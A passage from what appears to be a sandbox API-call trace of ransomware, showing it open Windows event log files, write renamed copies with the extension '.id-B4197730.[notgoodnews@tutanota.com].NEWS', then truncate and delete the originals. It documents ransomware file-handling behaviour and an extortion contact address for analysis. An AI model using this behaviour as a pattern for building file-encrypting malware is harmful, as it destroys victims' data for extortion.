lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.272] lstrlenW (lpString=".7z") returned 3 [0077.272] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.272] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.272] lstrlenW (lpString=".dbf") returned 4 [0077.272] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.272] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.272] lstrlenW (lpString=".1cd") returned 4 [0077.272] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.272] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0077.272] lstrlenW (lpString=".jpg") returned 4 [0077.272] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.272] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.272] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0077.272] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.272] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0077.272] CloseHandle (hObject=0x2c4) returned 1 [0077.272] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0077.273] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.273] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.273] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.273] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.273] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0077.273] GetLastError () returned 0x0 [0077.273] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0077.276] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0077.278] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.278] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x134, lpOverlapped=0x0) returned 1 [0077.278] SetEndOfFile (hFile=0x380) returned 1 [0077.278] CloseHandle (hObject=0x380) returned 1 [0077.281] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.281] SetEndOfFile (hFile=0x2c4) returned 1 [0077.282] CloseHandle (hObject=0x2c4) returned 1 [0077.282] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.282] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0077.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.283] lstrlenW (lpString=".doc") returned 4 [0077.283] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString=".docx") returned 5 [0077.283] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.283] lstrlenW (lpString=".pdf") returned 4 [0077.283] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString=".xls") returned 4 [0077.283] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString=".xlsx") returned 5 [0077.283] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.283] lstrlenW (lpString=".ppt") returned 4 [0077.283] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.283] lstrlenW (lpString=".zip") returned 4 [0077.283] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString=".rar") returned 4 [0077.283] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString=".bz2") returned 4 [0077.283] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString=".7z") returned 3 [0077.283] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.283] lstrlenW (lpString=".dbf") returned 4 [0077.283] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.283] lstrlenW (lpString=".1cd") returned 4 [0077.283] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.283] lstrlenW (lpString=".jpg") returned 4 [0077.283] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.283] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.283] lstrlenW (lpString=".doc") returned 4 [0077.283] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.283] lstrlenW (lpString=".docx") returned 5 [0077.284] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.284] lstrlenW (lpString=".pdf") returned 4 [0077.284] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.284] lstrlenW (lpString=".xls") returned 4 [0077.284] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.284] lstrlenW (lpString=".xlsx") returned 5 [0077.284] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.284] lstrlenW (lpString=".ppt") returned 4 [0077.284] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.284] lstrlenW (lpString=".zip") returned 4 [0077.284] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.284] lstrlenW (lpString=".rar") returned 4 [0077.284] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.284] lstrlenW (lpString=".bz2") returned 4 [0077.284] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.284] lstrlenW (lpString=".7z") returned 3 [0077.284] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.284] lstrlenW (lpString=".dbf") returned 4 [0077.284] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.284] lstrlenW (lpString=".1cd") returned 4 [0077.284] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.284] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0077.284] lstrlenW (lpString=".jpg") returned 4 [0077.284] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.284] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.284] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0077.284] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.285] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0077.285] CloseHandle (hObject=0x2c4) returned 1 [0077.285] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0077.285] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.285] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.285] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.285] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.285] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0077.286] GetLastError () returned 0x0 [0077.286] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0077.288] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0077.290] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.290] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x140, lpOverlapped=0x0) returned 1 [0077.291] SetEndOfFile (hFile=0x380) returned 1 [0077.291] CloseHandle (hObject=0x380) returned 1 [0077.293] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.293] SetEndOfFile (hFile=0x2c4) returned 1 [0077.294] CloseHandle (hObject=0x2c4) returned 1 [0077.294] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.295] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0077.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.295] lstrlenW (lpString=".doc") returned 4 [0077.295] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.295] lstrlenW (lpString=".docx") returned 5 [0077.295] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.295] lstrlenW (lpString=".pdf") returned 4 [0077.295] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.295] lstrlenW (lpString=".xls") returned 4 [0077.295] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.295] lstrlenW (lpString=".xlsx") returned 5 [0077.295] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.295] lstrlenW (lpString=".ppt") returned 4 [0077.295] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.295] lstrlenW (lpString=".zip") returned 4 [0077.295] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.295] lstrlenW (lpString=".rar") returned 4 [0077.295] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString=".bz2") returned 4 [0077.296] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString=".7z") returned 3 [0077.296] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.296] lstrlenW (lpString=".dbf") returned 4 [0077.296] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.296] lstrlenW (lpString=".1cd") returned 4 [0077.296] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.296] lstrlenW (lpString=".jpg") returned 4 [0077.296] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.296] lstrlenW (lpString=".doc") returned 4 [0077.296] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString=".docx") returned 5 [0077.296] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.296] lstrlenW (lpString=".pdf") returned 4 [0077.296] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString=".xls") returned 4 [0077.296] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString=".xlsx") returned 5 [0077.296] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.296] lstrlenW (lpString=".ppt") returned 4 [0077.296] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.296] lstrlenW (lpString=".zip") returned 4 [0077.296] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString=".rar") returned 4 [0077.296] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.296] lstrlenW (lpString=".bz2") returned 4 [0077.296] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.297] lstrlenW (lpString=".7z") returned 3 [0077.297] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.297] lstrlenW (lpString=".dbf") returned 4 [0077.297] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.297] lstrlenW (lpString=".1cd") returned 4 [0077.297] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0077.297] lstrlenW (lpString=".jpg") returned 4 [0077.297] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.297] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.297] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0077.297] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.297] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0077.297] CloseHandle (hObject=0x2c4) returned 1 [0077.297] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0077.297] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.298] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.298] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.298] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.298] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0077.298] GetLastError () returned 0x0 [0077.298] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0077.842] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0077.844] ReadFile (in: hFile=0x2c4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.844] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x126, lpOverlapped=0x0) returned 1 [0077.845] SetEndOfFile (hFile=0x380) returned 1 [0077.845] CloseHandle (hObject=0x380) returned 1 [0077.847] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.847] SetEndOfFile (hFile=0x2c4) returned 1 [0077.848] CloseHandle (hObject=0x2c4) returned 1 [0077.848] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.848] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0077.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.849] lstrlenW (lpString=".doc") returned 4 [0077.849] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.849] lstrlenW (lpString=".docx") returned 5 [0077.849] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.849] lstrlenW (lpString=".pdf") returned 4 [0077.849] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.849] lstrlenW (lpString=".xls") returned 4 [0077.849] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.849] lstrlenW (lpString=".xlsx") returned 5 [0077.849] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.849] lstrlenW (lpString=".ppt") returned 4 [0077.849] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.849] lstrlenW (lpString=".zip") returned 4 [0077.849] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.849] lstrlenW (lpString=".rar") returned 4 [0077.849] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.849] lstrlenW (lpString=".bz2") returned 4 [0077.849] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.849] lstrlenW (lpString=".7z") returned 3 [0077.849] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.849] lstrlenW (lpString=".dbf") returned 4 [0077.849] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.850] lstrlenW (lpString=".1cd") returned 4 [0077.850] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.850] lstrlenW (lpString=".jpg") returned 4 [0077.850] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.850] lstrlenW (lpString=".doc") returned 4 [0077.850] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString=".docx") returned 5 [0077.850] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.850] lstrlenW (lpString=".pdf") returned 4 [0077.850] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString=".xls") returned 4 [0077.850] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString=".xlsx") returned 5 [0077.850] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.850] lstrlenW (lpString=".ppt") returned 4 [0077.850] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.850] lstrlenW (lpString=".zip") returned 4 [0077.850] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString=".rar") returned 4 [0077.850] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString=".bz2") returned 4 [0077.850] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString=".7z") returned 3 [0077.850] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.850] lstrlenW (lpString=".dbf") returned 4 [0077.850] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.850] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.850] lstrlenW (lpString=".1cd") returned 4 [0077.850] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.851] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0077.851] lstrlenW (lpString=".jpg") returned 4 [0077.851] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.851] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.851] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0077.851] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0077.851] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=69632) returned 1 [0077.851] CloseHandle 